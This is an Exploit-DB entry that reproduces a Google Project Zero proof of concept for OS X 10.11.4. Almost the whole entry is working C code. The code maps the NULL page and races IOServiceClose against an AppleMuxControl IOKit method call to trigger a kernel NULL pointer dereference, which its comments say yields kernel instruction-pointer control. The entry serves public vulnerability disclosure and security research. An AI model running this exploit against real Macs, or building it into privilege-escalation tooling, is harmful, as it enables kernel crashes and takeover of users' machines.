Exploit-DB #39922
Description: Apple Mac OSX Kernel - Null Pointer Dereference in AppleMuxControl.kext
Type: dos
Platform: osx
Date: 2016-06-10
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 9; // getAGCData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("AppleMuxControl", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}